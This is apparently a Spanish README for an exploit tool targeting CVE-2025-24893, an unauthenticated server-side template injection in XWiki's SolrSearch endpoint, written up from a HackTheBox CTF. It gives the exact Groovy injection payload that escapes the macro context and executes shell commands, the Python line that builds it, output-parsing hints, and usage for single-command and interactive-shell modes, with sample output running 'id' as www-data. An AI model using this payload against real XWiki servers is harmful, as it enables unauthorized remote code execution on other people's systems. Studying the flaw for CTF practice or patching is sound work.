
CVE-2025-24893 – Exploit de RCE no autenticado por SSTI en XWiki (HackTheBox CTF)
| Campo | Detalles |
|---|
| CVE | CVE-2025-24893 |
| Software | XWiki |
| Vulnerabilidad | Inyección de plantillas del lado del servidor (SSTI) → RCE |
| Autenticación | No requerida |
| Puntuación CVSS | Crítico |
| Contexto | Descubierto durante la CTF de HackTheBox |
XWiki expone un endpoint SolrSearch (/xwiki/bin/get/Main/SolrSearch) que procesa la entrada proporcionada por el usuario mediante el motor de plantillas Groovy sin saneamiento. Un atacante no autenticado puede inyectar una expresión Groovy a través del parámetro de consulta text, logrando ejecución remota de código en el servidor subyacente.
GET /xwiki/bin/get/Main/SolrSearch?media=rss&text=<PAYLOAD>
El parámetro text se incrusta directamente en un contexto de macro de XWiki y es evaluado por el motor Groovy. La inyección escapa del contexto de la plantilla usando }}} y abre un bloque {{async}}{{groovy}}:
}}}{{async async=false}}{{groovy}}println("<CMD>".execute().text){{/groovy}}{{/async}}
La salida se refleja en el cuerpo de la respuesta RSS y puede extraerse mediante expresiones regulares.
payload = '}}}{{async async=false}}{{groovy}}println("' + command + '".execute().text){{/groovy}}{{/async}}'
La respuesta es XML/RSS: la salida del comando aparece entre los marcadores [}}} y ]</ con caracteres codificados en HTML.
python3 exploit.py -t <TARGET> [-p PORT] [-s] [-i | -c COMMAND]
| Opción | Descripción |
|---|---|
-t | Hostname o IP del objetivo |
-p | Puerto (por defecto: 80) |
-s | Usar HTTPS |
-i | Modo shell interactivo |
-c | Ejecución de un solo comando |
-v | Salida detallada |
# Single command
python3 exploit.py -t wiki.target.htb -c "id"
# Interactive shell
python3 exploit.py -t wiki.target.htb -i
# HTTPS on custom port
python3 exploit.py -t wiki.target.htb -p 443 -s -i
pip install requests termcolor
$ python3 exploit.py -t wiki.editor.htb -c "id"
[*] Executing command: id
uid=33(www-data) gid=33(www-data) groups=33(www-data)